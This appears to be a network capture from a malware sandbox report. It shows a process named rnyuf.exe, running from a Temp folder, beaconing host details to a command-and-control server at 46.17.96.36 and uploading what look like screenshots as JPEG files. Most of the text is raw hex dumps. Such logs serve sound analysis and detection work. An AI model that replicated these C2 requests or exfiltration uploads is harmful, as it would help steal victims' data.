Aug 29, 2021 22:28:28.379030943 CEST	15305	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:28.379061937 CEST	15307	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:28:28.379070044 CEST	15309	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:28.379441023 CEST	15312	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:28.533855915 CEST	15382	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.4	49974	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:28.577480078 CEST	15383	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:28.653201103 CEST	15383	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.4	49975	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:37.833102942 CEST	15384	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:37.910872936 CEST	15423	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.4	49976	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:37.851378918 CEST	15384	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:37.851492882 CEST	15384	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:37.851622105 CEST	15395	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:37.851701021 CEST	15397	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:37.884488106 CEST	15400	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:37.884535074 CEST	15403	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:37.884546995 CEST	15406	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:37.884953022 CEST	15417	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:37.884989977 CEST	15420	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:37.885000944 CEST	15423	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:37.917831898 CEST	15426	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:38.020809889 CEST	15493	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.4	49977	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:38.140650034 CEST	15494	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:38.219350100 CEST	15494	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.4	49978	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:38.485871077 CEST	15495	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:38.560132027 CEST	15577	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49759	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:19.809866905 CEST	3607	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6c877eb2a3da7264dec94b69baff2e36 Host: 46.17.96.36 Content-Length: 107432 Cache-Control: no-cache
Aug 29, 2021 22:27:19.809885025 CEST	3607	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 63 38 37 37 65 62 32 61 33 64 61 37 32 36 34 64 65 63 39 34 62 36 39 62 61 66 66 32 65 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6c877eb2a3da7264dec94b69baff2e36Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:19.809897900 CEST	3617	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:19.809917927 CEST	3620	OUT	Data Raw: 30 17 34 a0 d3 69 79 a0 07 71 4b 4c a7 03 4c 41 8a 4c 1a 5c d2 d0 21 98 a3 14 fa 31 9a 56 1d c6 62 92 9f b6 82 b4 58 2e 32 96 8d b4 60 d2 18 52 1e b4 b4 53 10 94 b4 50 28 18 51 45 06 81 05 14 aa ac c7 0a a4 9f 40 2a ca 69 d7 92 7d db 77 ff 00 81 Data Ascii: 04iyqKLLAL\!1VbX.2`RSP(QE@i}w:o`VM>?^)2]U8I+QaEP (JZ()-Q@-I!q3@\gziWtVSB?~HjjkvCWS*h9sNPQKE%-.(%w
Aug 29, 2021 22:27:19.849611998 CEST	3623	OUT	Data Raw: 8a 8a b6 cd 7e 37 47 5e 66 ab 2a 50 74 77 4f f4 67 57 20 b7 6f 0a b7 da 82 35 b8 b7 0c fb 86 46 00 07 35 8f e2 65 95 7e 15 ea c6 6f f5 ad a6 12 f9 eb 9f 28 03 fa 8a d6 b6 d3 40 f0 a5 a6 9d 7f 18 63 1c 30 a4 a9 9c 82 57 6f 1e e3 22 ab 78 f3 fe 49 Data Ascii: ~7G^f*PtwOgW o5F5e~o(@c0Wo"xI^25s>Ru;Sr/o%[D3$&"xm}?Vh3K+iJm`xsth%\g=A]]=3TTNw\YO.C
Aug 29, 2021 22:27:19.849631071 CEST	3628	OUT	Data Raw: 12 b1 43 e4 b6 f7 21 8a 90 ab 8c 9c 32 b0 e3 b8 23 b5 54 29 c6 2e e9 93 29 c9 ab 34 54 a2 ae dc e8 fa 9d 95 e7 d8 ee f4 db cb 7b af 2c cb e4 cb 03 23 ec 00 92 db 48 ce 00 04 e7 d8 fa 55 57 82 68 e3 86 59 22 91 23 99 4b 44 ec a4 07 00 90 4a 9e e3 Data Ascii: C!2#T).)4T{,#HUWhY"#KDJ ;ez~Znu{".KhZB;}t&a%FN_(8Wj.rE@Q]xjK._^Gol>AEj6r]WV$gtBNXiIJ2=KG..
Aug 29, 2021 22:27:19.849642992 CEST	3631	OUT	Data Raw: 77 1b 8a 29 68 a4 31 b4 53 b1 46 29 58 63 79 a5 e6 97 14 98 3e b4 58 2e 1c d1 cd 18 a2 8b 05 c4 a5 14 73 47 34 00 52 8a 4a eb 7c 37 f0 ff 00 58 f1 35 bb 4d 65 19 20 00 4e 00 c0 07 a6 49 20 73 e9 59 d4 ab 0a 6a f3 66 f8 7c 2d 5c 43 6a 9a db 57 76 Data Ascii: w)h1SF)Xcy>X.sG4RJ\|7X5Me NI sYjf\|-\CjWv^5?\|O<?Jxu(Gxp6YBK$z*kZuaQ^aQoV8vZt[P5?_hrE
Aug 29, 2021 22:27:19.849817991 CEST	3640	OUT	Data Raw: 98 ef e0 64 74 ac 9b 9f 88 ad 67 6b 75 75 36 90 44 09 25 cc 56 cc 2e 39 95 e1 ce 43 0d bf 26 42 92 3e f7 4a e2 f6 29 b6 e7 a9 da f1 f3 84 63 0a 1e e2 5b f9 bf 3f 2f 26 6c e8 5e 1f 9f 4a d4 ae ef 24 96 d9 56 74 0b e4 5a 44 63 8f 23 f8 88 24 e0 fd Data Ascii: dtgkuu6D%V.9C&B>J)c[?/&l^J$VtZDc#$+<V'-{.x,.\|p\W\|xpOZABPKyPE.+GKF)@#i%CoR%k3$?kV_[=>1h^Y
Aug 29, 2021 22:27:19.849889994 CEST	3645	OUT	Data Raw: 04 67 1b 59 4f d3 72 a9 fc 2b c0 c9 28 3a f8 8a 91 4e ce df aa 3d 0c ce ba a1 4a 12 6a ea ff 00 a3 3d 5d a4 bc 4f 0d f9 d6 8d 1b 5e 79 6a e0 ca 0e d2 dc 67 81 f8 d6 57 8b 2e 16 ef e1 d6 bd 72 9f 76 5b 16 90 7d 0c 40 d5 d4 9e e6 e3 c1 70 cd 69 18 Data Ascii: gYOr+(:N=Jj=]O^yjgW.rv[}@pi7E<)`a[iXO]IM~>Q+8BQE^J/a4ud3I,u<<{~~g93xr;i 2*QZfsbd
Aug 29, 2021 22:27:19.882901907 CEST	3651	OUT	Data Raw: 79 92 6b 77 b6 bc f2 36 95 39 c3 7c 8d 90 4e 3a 6d 3d 79 f4 e8 ab 7e 57 ca 61 4e dc da 96 cc 3a 16 99 69 62 fa 9c 7a 9d cc b7 d1 9b 85 16 d2 a4 22 18 37 95 52 43 23 6f 63 b4 9c 02 a0 0c 72 73 c6 f5 9f 83 6c e3 89 fe dd 0e a5 71 1a ea 4f 69 2d fd Data Ascii: ykw69\|N:m=y~WaN:ibz"7RC#ocrslqOi-Z#yAF k~$r@hC!GJdD+c,-4\|#hjmBrA\m_-/YcMgsllO8R<P3>o}BZ"K
Aug 29, 2021 22:27:19.882961988 CEST	3656	OUT	Data Raw: 8e 94 de f4 e1 54 21 c0 d3 81 a6 52 8a 64 b2 41 4a 29 80 d3 85 51 23 a9 c0 d4 62 9e 0f 15 48 96 3b 34 b9 a6 66 8c f3 4c 56 25 06 9d 51 83 4f 15 48 96 3a 9d 4d 14 66 aa e4 d8 7d 3b 35 10 39 a7 55 5c 9b 0f dd 4a 0d 30 53 d0 53 44 b2 44 14 fe b4 dc Data Ascii: T!RdAJ)Q#bH;4fLV%QOH:Mf};59U\J0SSDDKTC)d1ShC)4q4asJh@XyzQMObQi<SGOQLhHFqZ?]9u-U&sq8fF((Z(RQHB(Ke-!
Aug 29, 2021 22:27:20.312592030 CEST	3715	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.4	49979	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:38.488233089 CEST	15495	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:38.488346100 CEST	15495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:38.488554955 CEST	15505	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:38.488610029 CEST	15508	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:38.522614956 CEST	15511	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:38.522670984 CEST	15514	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:38.522686958 CEST	15519	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:38.522881985 CEST	15524	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:38.523011923 CEST	15528	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:38.523174047 CEST	15531	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
